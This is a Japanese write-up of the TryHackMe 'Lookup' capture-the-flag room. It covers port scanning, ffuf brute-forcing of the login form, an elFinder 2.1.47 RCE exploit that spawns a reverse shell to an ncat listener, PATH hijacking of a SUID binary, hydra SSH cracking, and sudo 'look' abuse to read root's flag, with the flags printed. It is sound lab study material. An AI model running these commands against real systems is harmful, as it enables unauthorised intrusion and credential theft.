🎉

[TryHackMe] Lookup-writeup

に公開

nmap

┌─[user@parrot][~]
└──╼ $nmap -sV -T4 -A 10.10.76.220
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-19 04:26 UTC
Nmap scan report for 10.10.76.220
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:43:1b:e4:f7:81:80:30:f5:46:19:62:fc:6c:ac:bf (RSA)
|   256 e1:37:8a:1b:4a:a4:6d:bf:ee:5f:26:a3:51:07:1e:2b (ECDSA)
|_  256 a6:d9:18:3b:de:dc:d6:13:5c:87:66:6b:57:09:86:d4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80と22が空いています。
httpの方を見ていきます。
その前にドメインを見つけたので
/etc/hostshttp://lookup.thmを追加します。
http://lookup.thmにアクセスするとログインフォームでした
image.png

ffuf

サブドメインの方も列挙してみます

┌─[][user@parrot][~]
└──╼ $ffuf -c -w /usr/share/wordlists/subdmain.txt -H "Host: FUZZ.lookup.thm" -u http://lookup.thm -fs 0

wwwを見つけました。/etc/hostsに追加します。

同じくログイン画面でした。

ユーザー名かパスワードを間違えると3sec後に再度入力ができるようです。
admin:adminで入力したところpasswordのみが違うと表示されたのでpassの方をクラックしてみます

[][user@parrot][~]
└──╼ sudo ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=admin&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded" -fw 8

再度ffufでファジングしたところpassword123がマッチしました。
ログインを試みましたができませんでした。
ユーザーの方をファジングしてみます

┌─[user@parrot][~]
└──╼ $sudo ffuf -w /usr/share/wordlists/names.txt -X POST -u http://lookup.thm/login.php -d 'username=FUZZ&password=pass' -H "Content-Type: application/x-www-form-urlencoded" -fw 10

joseというユーザを見つけました。
先のログイン画面でjose:password123を使ってログインしたら、/files.lookup.thmにリダイレクトされたので/etc/hostsに追加します
image.png
elFinderというサイトに遷移されました。

elFinder

バージョンは2.1.47だそうです

image.png

https://github.com/hadrian3689/elFinder_2.1.47_php_connector_rce

exploitを発見したので使用していきます

┌─[user@parrot][~]
└──╼ $python exploit.py -t 'http://files.lookup.thm/elFinder/' -lh 10.8.152.215 -lp 4545
┌─[user@parrot][~]
└──╼ $ncat -lvnp 4545
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4545
Ncat: Listening on 0.0.0.0:4545
Ncat: Connection from 10.10.76.220:47238.
bash: cannot set terminal process group (818): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-10-10-76-220:/var/www/files.lookup.thm/public_html/elFinder/php$ whoami

shellを反射できました。
ls -lathinkというユーザを発見しました。
suidを調べたら/usr/sbin/pwmを見つけました。
idコマンドを実行し/home/user/.passwordsファイルを使うらしいです。
idコマンドを偽装してみます

www-data@lookup.thm:/home$ echo '#!/bin/bash' > /tmp/id
www-data@lookup.thm:/home$ echo 'echo "uid=33(think) gid=33(think) groups=(think)"' >> /tmp/id
www-data@lookup.thm:/home$ chmod +x /tmp/id
www-data@lookup.thm:/home$ export PATH=/tmp:$PATH
www-data@lookup.thm:/home$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006

できました。取得した文字列を適当なファイルにぶち込みhydraでsshのクラックをします

┌─[user@parrot][~]
└──╼ $vi think.txt
┌─[user@parrot][~]
└──╼ $ hydra -f -l think -P think.txt lookup.thm ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-19 05:41:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 50 login tries (l:1/p:50), ~4 tries per task
[DATA] attacking ssh://lookup.thm:22/
[22][ssh] host: lookup.thm   login: think   password: josemario.AKA(think)
[STATUS] attack finished for lookup.thm (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-19 05:41:18

user.txt

sshで接続します。

think@ip-10-10-249-136:~$ ls
user.txt
think@ip-10-10-249-136:~$ cat user.txt
38375fb4dd8baa2b2039ac03d92b820e

root.txt

sudo -lでrootを見つけます。
/usr/bin/lookがありました。

think@ip-10-10-249-136:~$ sudo -l
[sudo] password for think: 
Matching Defaults entries for think on ip-10-10-249-136:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User think may run the following commands on ip-10-10-249-136:
    (ALL) /usr/bin/look

GTFOBinsによるとバイナリファイルを読み取ることができるらしいのでroot/root.txtを取得してみます。

think@ip-10-10-249-136:~$ ROOT=/root/root.txt
think@ip-10-10-249-136:~$ sudo /usr/bin/look '' "$ROOT"
5a285a9f257e45c68bb6c9f9f57d18e8

rootが取れました。

Discussion